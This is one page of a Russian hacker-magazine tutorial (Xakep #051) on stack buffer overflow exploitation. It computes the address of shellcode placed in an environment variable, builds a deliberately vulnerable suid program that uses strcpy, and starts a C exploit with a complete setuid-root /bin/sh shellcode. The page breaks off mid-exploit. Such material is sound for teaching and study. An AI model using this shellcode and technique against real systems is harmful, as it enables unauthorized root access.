Переполнение буфера в стеке. Шествие второе

kas1e

Xakep, номер #051, стр. 051-060-4


0xbfffffff - первые 5 байт нули.

0xbffffffa - далее идет имя запускаемого файла.

И после этого идут внешние переменные (env).

Т.е. мы можем положить шеллкод как внешнюю переменную, отнять от 0xbfffffff четыре нуля, потом длину имени запускаемого файла и длину шеллкода. А потом получить адрес, по которому лежит этот самый шеллкод. Вот как это будет выглядеть:

нужный_адрес = 0xbfffffff - 5 - длина_имени_файла - длина_шеллкода

Так получается необходимый адрес. И теперь все, что нужно для создания эксплоита:

1. Положить шеллкод как внешнюю переменную.

2. Посчитать расположение шеллкода (т.е. узнать адрес).

3. Запустить файл так, чтобы буфер переполнился любым хламом, и в конце хлама был посчитанный адрес расположения шеллкода.

Т.е. буфер переполнится, в eip поместится адрес твоего шеллкода, выполнение, естественно, передастся на этот адрес, и произведутся желаемые действия. И как результат, ты получишь шелл. А чтобы шелл был рутовый, уязвимая программа должна иметь suid-флаг. Рассмотрим это на примере. Для этого напишем уязвимую программу с суид-флагом и эксплоит к ней. Возьмем все тот же пример из первой части статьи:

main (int argc, char *argv[]) // будем брать символы с командной строки

{

char little_buffer[4]; // сделаем буфер на 4 байта

strcpy(little_buffer,argv[1]);

}

/* strcpy является одной из функций, которая не заботится о том, с какими буферами */

/* она работает, т.е. не проверяет размеры копируемых данных */

[bof]# gcc vuln.c -o vuln

[bof]# ./vuln aaaaaaaabbbb

Segmentation fault

Уязвимая программа готова. Поставим ей suid-флаг, чтобы она запускалась с root-привилегиями:

[bof]# chmod +s vuln

Теперь напишем сам эксплоит. Структуру его написания я рассмотрел чуть выше, но нужно сказать, что мы используем функцию execle, которая является тем же execve, но позволяет запускать файл, используя в качестве аргументов внешние переменные (а это нам и нужно):

#include <stdio.h>

char shellcode[]=

"\x33\xc0" /* xorl %eax,%eax */

"\x31\xdb" /* xorl %ebx,%ebx */

"\xb0\x17" /* movb $0x17,%al */

"\xcd\x80" /* int $0x80 */

"\x31\xc0" /* xorl %eax,%eax */

"\x50" /* pushl %eax */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,%ebx */

"\x50" /* pushl %eax */

"\x53" /* pushl %ebx */

"\x89\xe1" /* movl %esp,%ecx */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80"; /* int $0x80 */

int main ()

{

// подготовим символьный буфер для внешней переменной, которая является твоим

// шеллкодом:

char *enva[2] = shellcode;

// теперь сделаем символьный буфер твоих переполняющих байт + нашего адреса. Он

// равен 12 байтам, т.к. 8 необходимо для переполнения и 9,10,11,12 байты лягут

// в eip (как раз наш адрес)

char buf[12];

// сделаем некое преобразование типов, чтобы далее было проще с засовыванием

// адреса твоего шеллкода в переполняющий буфер

int *ap = (int *)(buf);

Назад на стр. 051-060-3  Содержание  Вперед на стр. 051-060-5